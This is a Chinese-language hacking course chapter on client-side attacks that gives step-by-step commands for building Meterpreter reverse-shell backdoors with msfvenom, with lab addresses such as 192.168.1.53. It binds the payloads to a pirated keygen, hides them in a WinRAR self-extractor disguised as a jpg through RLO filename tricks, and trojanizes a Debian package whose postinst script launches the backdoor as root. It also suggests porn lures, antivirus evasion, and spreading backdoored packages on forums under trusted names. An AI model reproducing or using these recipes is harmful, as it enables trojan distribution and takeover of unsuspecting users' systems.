主要内容:
9.1 客户端渗透原理
9.2 实战-注册机捆绑恶意程序上线 MSF
9.3 实战-WinRAR 捆绑恶意程序并自动上线MSF
9.4 实战-制作 Linux 恶意软件获取公司服务器shell
9.5 实战-制作恶意 deb 软件包来触发后门
9.1 客户端渗透原理
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。
由于 MSF 对 exe 文件进行注入恶意程序会导致原来的 exe 程序的功能彻底损坏,所以对 exe 文件中植入后门我们可以通过文件捆绑的方式来执行恶意程序。
网上有很多破解版软件,有些软件通过使用注册机进行激活,所以我们可以给注册机绑定一个 msf 的后门文件,用户在运行注册机的时候会打开注册机和后门程序。而后门程序是后台运行的用户不会察觉,大部分注册机以及破解软件在运行时都会提示报毒或者诱导用户关闭杀软再运行。
9.2 实战-注册机捆绑恶意程序上线 MSF
9.2.1 安装开发环境。
┌──(root xuegod53)-[~]
└─# apt update
└─# apt-get -y install golang
安装过程中出现如下提示一律选择 YES 并按回车
上传捆绑工具binding 到Kali
添加执行权限
└─# chmod +x binding
上传我们要绑定的文件SecureCRT-kg.exe(注册机)和ico 图标文件到Kali。
9.2.2 使用msfvenom 生成msf 后门程序
msfvenom 是msfpayload,msfencode 的结合体,可利用msfvenom 生成木马程序,并在目标机上执行,在本地监听上线。
┌──(root xuegod53)-[~]
└─# msfvenom -a x86 —platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -i 10 -f exe -o msf.exe
参数说明:
-a 指定架构如x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。
—platform 指定平台,这里选择windows,通过 —l platforms 可以查看所有支持的平台
-p 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所有攻击载荷
LHOST 目标主机执行程序后连接我们Kali 的地址
LPORT 目标主机执行程序后连接我们Kali 的端口
-b 去掉坏字符,坏字符会影响payload 正常执行。
扩展:\x00 代表 16 进制的“00”组成的字符串。通过 ASCII 码换成能识别的就是:”00” - “00000000” - NUL。由于”00000000”是不可见字符,所以代码中没用。如图:
-e 指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是msf 自带的编码器,可以通过 -l encoders 查看所有编码器
-i 指定payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码
-f 指定生成格式,可以是raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式
-o 指定文件名称和导出位置。
9.2.3 注册机捆绑msf 后门捆绑
┌──(root xuegod53)-[~]
└─# ./binding msf.exe SecureCRT-kg.exe SecureCRT-kg.ico
注:第一个参数msf.exe 为后门程序,第二个参数 SecureCRT-kg.exe 为我们要捆绑的应用,第三个参数SecureCRT-kg.ico 是ico 图标。
└─# ls output/payload.exe
下载到本地,注意关闭杀软,msf 生成的exe 文件会报毒。
└─# sz output/payload.exe
把程序原来的破解工具 SecureCRT-kg.exe 删除,把我们生成的payload.exe 修改文件名为SecureCRT-注册机.exe
修改破解说明.txt
俗话说做戏做全套。替换说明文件中原来的SecureCRT-kg.exe 为SecureCRT-注册机.exe Ctrl + H 快捷键进行替换。
9.2.4 目标机运行捆绑恶意程序的注册机并上线MSF MSF 配置侦听
┌──(root xuegod53)-[~]
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.33
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
安装SecureCRT,运行scrt66-x64.exe
安装
接下来一路Next 就可以了,直到安装成功。
把补丁复制到 E:\SecureCRT\SecureCRT.exe 目录
双击运行注册机。
msf 接收到shell
运行注册机后会自动释放原来的注册机程序到当前目录下并运行。
msf.exe 被释放到:C:\Users\Public 并运行。
9.3 实战-WinRAR 捆绑恶意程序并自动上线MSF
9.3.1 生成伪装恶意程序的封面图标需要安装rar 压缩工具。
WinRAR 官网:http://www.winrar.com.cn/下载安装即可不需要特殊配置。
msfvenom 生成exe
┌──(root xuegod53)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -f exe -o /var/www/html/tupian.exe
准备一张图片
图片生成ico 图标用于恶意程序的封面图标:http://www.ico51.cn/注:图片尺寸选最大的,也可以找一下其它的ico 图标生成网站。
转换后会自动下载
9.3.2 捆绑恶意程序和图片并设置自动运行
选中tupian.exe 和tupian.jpg 添加到压缩文件。
勾选:创建自解压格式压缩文件
设置自解压选项
解压路径:C:\Windows\Temp
注:tupian.exe 和tupian.jpg 会被解压到C:\Windows\Temp
解压后运行tupian.exe 和tupian.jpg C:\Windows\Temp\tupian.jpg C:\Windows\Temp\tupian.exe
静默方式解压
更新方式
多次解压可能会出现文件已经存在的情况,如果文件存在会询问用户。建议选择覆盖所有文件或跳过已存在的文件。
覆盖:缺点是如果exe 程序已经运行那么覆盖会失败。
跳过:如果exe 文件的参数有修改跳过后则运行的还是旧版本。建议:每次制作不要用相同的名字。
添加刚才生成的ico 图标。
生成后的自解压文件。
9.3.3 使用Unicode 字符修改文件名后缀重命名
选中文件名鼠标右键插入Unicode 控制字符RLO RLO 从右到左
LRO 从左到右
插入 gpj,RLO 是从右到左,所以最终gpj=jpg
此时文件名后缀为exe.jpg,那这样还不理想,文件名部分是exe 还是没什么意义。
添加文件名
重命名,在exe 前面插入Unicode 控制字符LRO
输入文件名:动漫 exe.jpg
最终效果,文件有ico 图标伪装图片的缩略图,文件名后缀.jpg 来伪装文件类型。注:exe.不可以去掉
9.3.4 通过访问图片自动获取目标shell
┌──(root xuegod53)-[~]
└─# msfdb run
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.53
msf5 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
打开动漫 exe.jpg
图片文件自动打开
MSF 成功上线
临时目录下文件也都存在。
C:\Windows\Temp
9.4 实战-制作 Linux 恶意软件获取shell
1、使用msfvenom 生成linux 可执行文件
┌──(root xuegod53)-[~]
└─# msfvenom -a x64 —platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b “\x00” -f elf -o /var/www/html/xuegod
参数和生成 Windows 差不多
—platform 指定linux
-f 指定elf 即linux 操作系统的可执行文件类型
-b 去掉坏字符
└─# systemctl start apache2 #开启 apache
2、MSF 配置监听
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.53:4444
打开centos 7.6 xuegod63 linux 虚 拟机,新建一个终端: [root@xuegod63 ~]# wget http://192.168.1.53/xuegod #下载后门添加执行权限
root@xuegod63:~# chmod +x xuegod
执行程序
root@xuegod63:~# ./xuegod
我们回到MSF 控制台
Session 已经建立
meterpreter > ifconfig
9.5 实战-制作恶意 deb 软件包来触发后门
freesweep 软件包下载
┌──(root xuegod53)-[~]
└─# wget http://ftp.de.debian.org/debian/pool/main/f/freesweep/freesweep_1.0.1- 2_amd64.deb
解压软件包到free 目录
└─# dpkg -x freesweep_1.0.1-2_amd64.deb free
生成恶意代码到软件包源文件中
└─# msfvenom -a x64 —platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b “\x00” -f elf -o
/root/free/usr/games/freesweep_sources
拓展:生成软件包时无论是payload 的和软件包信息都需要选择能够在目标操作系统上执行的。创建软件包信息目录
└─# mkdir /root/free/DEBIAN && cd /root/free/DEBIAN
创建软件包的信息文件
└─# tee /root/free/DEBIAN/control << ‘EOF’ Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement Priority: optional
Architecture: amd64
**
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF
创建deb 软件包,安装后脚本文件,来加载后门
└─# tee /root/free/DEBIAN/postinst << ‘EOF’ #!/bin/bash
sudo chmod +x /usr/games/freesweep_sources sudo nohup /usr/games/freesweep_sources & sudo rm -rf /nohup.out
EOF
红色部分是我们要执行的恶意代码
& 是将命令放到后台运行
+x 是给后门加执行权限
nohup 用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行。使用命令shell 时,在命令前加上nohup 可防止在注销或退出shell 时命令自动中止。
nohup 这个名字代表“不挂断”。挂断(HUP)信号通常被发送到进程以通知它用户已注销(或“挂起”),被 nohup 拦截,允许进程继续运行。
给脚本文件添加执行权限
└─# chmod +x /root/free/DEBIAN/postinst
构建新的deb 安装包
└─# dpkg-deb —build /root/free/
dpkg-deb: 正在 ‘/root/free.deb’ 中构建软件包 ‘freesweep’。
注:会在当前目录下生成构建的软件包freesweep.db ,我们当前的目录是/root
└─# ls /root/free.deb
新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听
└─# msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit
这里最好是在Kali 中执行如果再XSHELL 中执行可能会导致窗口卡死。
└─# dpkg -i free.deb
回到MSF 控制台
meterpreter > getuid
uid=0 表示root 权限卸载软件包
└─# dpkg -r freesweep
我们发现就算恶意软件包被卸载,payload 依旧正常运行。
exit 退出即可
互动:如何宣传你的软件包?
在播客或论坛,csdn 等上,写一个技术文章,附上你的软件包:
你的软件包名字起得标准一些:比如一个apache.deb , mysql.deb, mplayer.deb ,qq.deb ,拼音.deb , 万能播放器.deb , open-office.deb
放一个百度网盘链接:
有谁怀疑过ROOT 给你的jre-7u17-windows-i586.exe 这个包是不是官方的?有没有后门?
退出session 需要使用quit 正常退出session 否则会影响下次连接。
meterpreter > quit
[*] Shutting down Meterpreter…
[*] 192.168.1.53 - Meterpreter session 2 closed. Reason: User exit